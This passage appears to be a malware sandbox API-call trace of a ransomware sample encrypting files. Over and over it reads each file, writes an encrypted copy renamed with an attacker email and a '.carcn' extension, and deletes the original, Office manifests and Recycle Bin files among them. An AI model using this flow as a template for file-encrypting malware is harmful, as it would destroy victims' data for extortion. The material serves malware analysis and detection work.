(lpString1=".pdf", lpString2=".xml") returned -1 [0182.366] lstrlenW (lpString=".xls") returned 4 [0182.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.366] lstrlenW (lpString=".xlsx") returned 5 [0182.366] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.366] lstrlenW (lpString=".ppt") returned 4 [0182.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.366] lstrlenW (lpString=".zip") returned 4 [0182.366] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.366] lstrlenW (lpString=".rar") returned 4 [0182.366] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.366] lstrlenW (lpString=".bz2") returned 4 [0182.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.366] lstrlenW (lpString=".7z") returned 3 [0182.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.366] lstrlenW (lpString=".dbf") returned 4 [0182.366] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.366] lstrlenW (lpString=".1cd") returned 4 [0182.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.366] lstrlenW (lpString=".jpg") returned 4 [0182.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.367] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.367] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0182.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0182.367] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=2173046) returned 1 [0182.367] CloseHandle (hObject=0x304) returned 1 [0182.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0182.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0182.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0182.368] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0x0) returned 1 [0182.368] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0182.368] ReadFile (in: hFile=0x304, lpBuffer=0x3df4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3df4058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0182.799] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0182.799] ReadFile (in: hFile=0x304, lpBuffer=0x3e34058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3e34058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0184.104] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.105] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0184.105] ReadFile (in: hFile=0x304, lpBuffer=0x3e74058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3e74058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0184.165] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0184.165] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x33afca8, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afca8*=0xc011a, lpOverlapped=0x0) returned 1 [0184.207] SetEndOfFile (hFile=0x304) returned 1 [0184.207] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43200b8 Thread: id = 17 os_tid = 0x784 [0157.946] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3b414f0 [0157.947] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3b514f8 [0157.947] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7eccf0 [0157.947] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x81d278 [0157.947] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecd68 [0157.947] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3f04020 [0157.950] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecae0 [0157.950] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecae0, Size=0x20) returned 0x7cec80 [0157.950] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecae0 [0157.950] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecae0, Size=0x20) returned 0x7cea00 [0157.950] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0157.951] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0157.951] Wow64DisableWow64FsRedirection (in: OldValue=0x34eff50 | out: OldValue=0x34eff50*=0x0) returned 1 [0157.951] lstrlenW (lpString="kernel32.dll") returned 12 [0157.951] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cec80 | out: hHeap=0x790000) returned 1 [0157.951] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.951] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea00 | out: hHeap=0x790000) returned 1 [0157.951] Sleep (dwMilliseconds=0x64) [0158.085] lstrcmpiW (lpString1=".ini", lpString2=".carcn") returned 1 [0158.085] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0158.085] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0158.615] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=156) returned 1 [0158.615] CloseHandle (hObject=0x2e8) returned 1 [0158.615] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0158.616] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.617] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0158.617] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.617] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.617] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.631] GetLastError () returned 0x0 [0158.631] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x9c, lpOverlapped=0x0) returned 1 [0158.641] WriteFile (in: hFile=0x300, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xa0, lpOverlapped=0x0) returned 1 [0158.642] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0158.642] WriteFile (in: hFile=0x300, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x100, lpOverlapped=0x0) returned 1 [0158.642] SetEndOfFile (hFile=0x300) returned 1 [0158.642] CloseHandle (hObject=0x300) returned 1 [0158.643] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.643] SetEndOfFile (hFile=0x2f0) returned 1 [0158.644] CloseHandle (hObject=0x2f0) returned 1 [0158.644] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0158.644] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0158.644] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.644] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.644] lstrlenW (lpString=".doc") returned 4 [0158.644] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0158.644] lstrlenW (lpString=".docx") returned 5 [0158.644] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0158.644] lstrlenW (lpString=".pdf") returned 4 [0158.644] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0158.644] lstrlenW (lpString=".xls") returned 4 [0158.644] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0158.645] lstrlenW (lpString=".xlsx") returned 5 [0158.645] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0158.645] lstrlenW (lpString=".ppt") returned 4 [0158.645] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0158.645] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.645] lstrlenW (lpString=".zip") returned 4 [0158.645] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0158.645] lstrlenW (lpString=".rar") returned 4 [0158.645] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0158.645] lstrlenW (lpString=".bz2") returned 4 [0158.645] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0158.645] lstrlenW (lpString=".7z") returned 3 [0158.645] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0158.645] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.645] lstrlenW (lpString=".dbf") returned 4 [0158.645] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0158.645] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.645] lstrlenW (lpString=".1cd") returned 4 [0158.645] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0158.645] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.645] lstrlenW (lpString=".jpg") returned 4 [0158.645] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0158.645] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.645] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.645] lstrlenW (lpString=".doc") returned 4 [0158.645] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0158.645] lstrlenW (lpString=".docx") returned 5 [0158.645] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0158.645] lstrlenW (lpString=".pdf") returned 4 [0158.645] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0158.645] lstrlenW (lpString=".xls") returned 4 [0158.645] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0158.645] lstrlenW (lpString=".xlsx") returned 5 [0158.645] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0158.646] lstrlenW (lpString=".ppt") returned 4 [0158.646] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0158.646] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.646] lstrlenW (lpString=".zip") returned 4 [0158.646] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0158.646] lstrlenW (lpString=".rar") returned 4 [0158.646] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0158.646] lstrlenW (lpString=".bz2") returned 4 [0158.646] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0158.646] lstrlenW (lpString=".7z") returned 3 [0158.646] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0158.646] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.646] lstrlenW (lpString=".dbf") returned 4 [0158.646] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0158.646] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.646] lstrlenW (lpString=".1cd") returned 4 [0158.646] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0158.646] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0158.646] lstrlenW (lpString=".jpg") returned 4 [0158.646] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0158.646] lstrcmpiW (lpString1=".ini", lpString2=".carcn") returned 1 [0158.646] lstrlenW (lpString="desktop.ini") returned 11 [0158.646] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0158.646] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=129) returned 1 [0158.646] CloseHandle (hObject=0x2f0) returned 1 [0158.647] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0158.647] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.647] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0158.647] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.647] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.647] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0158.688] GetLastError () returned 0x0 [0158.688] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x81, lpOverlapped=0x0) returned 1 [0158.689] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x90, lpOverlapped=0x0) returned 1 [0158.690] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0158.690] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xea, lpOverlapped=0x0) returned 1 [0158.690] SetEndOfFile (hFile=0x2e4) returned 1 [0158.690] CloseHandle (hObject=0x2e4) returned 1 [0158.691] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.691] SetEndOfFile (hFile=0x2f0) returned 1 [0158.692] CloseHandle (hObject=0x2f0) returned 1 [0158.692] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x26) returned 1 [0158.692] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0158.692] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.692] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.692] lstrlenW (lpString=".doc") returned 4 [0158.692] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0158.692] lstrlenW (lpString=".docx") returned 5 [0158.692] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0158.692] lstrlenW (lpString=".pdf") returned 4 [0158.692] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0158.692] lstrlenW (lpString=".xls") returned 4 [0158.692] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0158.692] lstrlenW (lpString=".xlsx") returned 5 [0158.692] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0158.692] lstrlenW (lpString=".ppt") returned 4 [0158.693] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0158.693] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.693] lstrlenW (lpString=".zip") returned 4 [0158.693] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0158.693] lstrlenW (lpString=".rar") returned 4 [0158.693] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0158.693] lstrlenW (lpString=".bz2") returned 4 [0158.693] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0158.693] lstrlenW (lpString=".7z") returned 3 [0158.693] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0158.693] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.693] lstrlenW (lpString=".dbf") returned 4 [0158.693] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0158.693] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.693] lstrlenW (lpString=".1cd") returned 4 [0158.693] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0158.693] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.693] lstrlenW (lpString=".jpg") returned 4 [0158.693] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0158.693] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.693] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.693] lstrlenW (lpString=".doc") returned 4 [0158.693] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0158.693] lstrlenW (lpString=".docx") returned 5 [0158.693] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0158.693] lstrlenW (lpString=".pdf") returned 4 [0158.693] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0158.693] lstrlenW (lpString=".xls") returned 4 [0158.693] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0158.693] lstrlenW (lpString=".xlsx") returned 5 [0158.694] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0158.694] lstrlenW (lpString=".ppt") returned 4 [0158.694] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0158.694] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.694] lstrlenW (lpString=".zip") returned 4 [0158.694] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0158.694] lstrlenW (lpString=".rar") returned 4 [0158.694] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0158.694] lstrlenW (lpString=".bz2") returned 4 [0158.694] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0158.694] lstrlenW (lpString=".7z") returned 3 [0158.694] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0158.694] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.694] lstrlenW (lpString=".dbf") returned 4 [0158.694] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0158.694] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.694] lstrlenW (lpString=".1cd") returned 4 [0158.694] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0158.694] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0158.694] lstrlenW (lpString=".jpg") returned 4 [0158.694] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0158.694] lstrcmpiW (lpString1=".ini", lpString2=".carcn") returned 1 [0158.694] lstrlenW (lpString="desktop.ini") returned 11 [0158.694] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0158.695] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=129) returned 1 [0158.695] CloseHandle (hObject=0x2f0) returned 1 [0158.695] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0158.695] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.695] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0158.695] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.695] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.695] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0158.695] GetLastError () returned 0x0 [0158.695] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x81, lpOverlapped=0x0) returned 1 [0158.695] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f04020*, 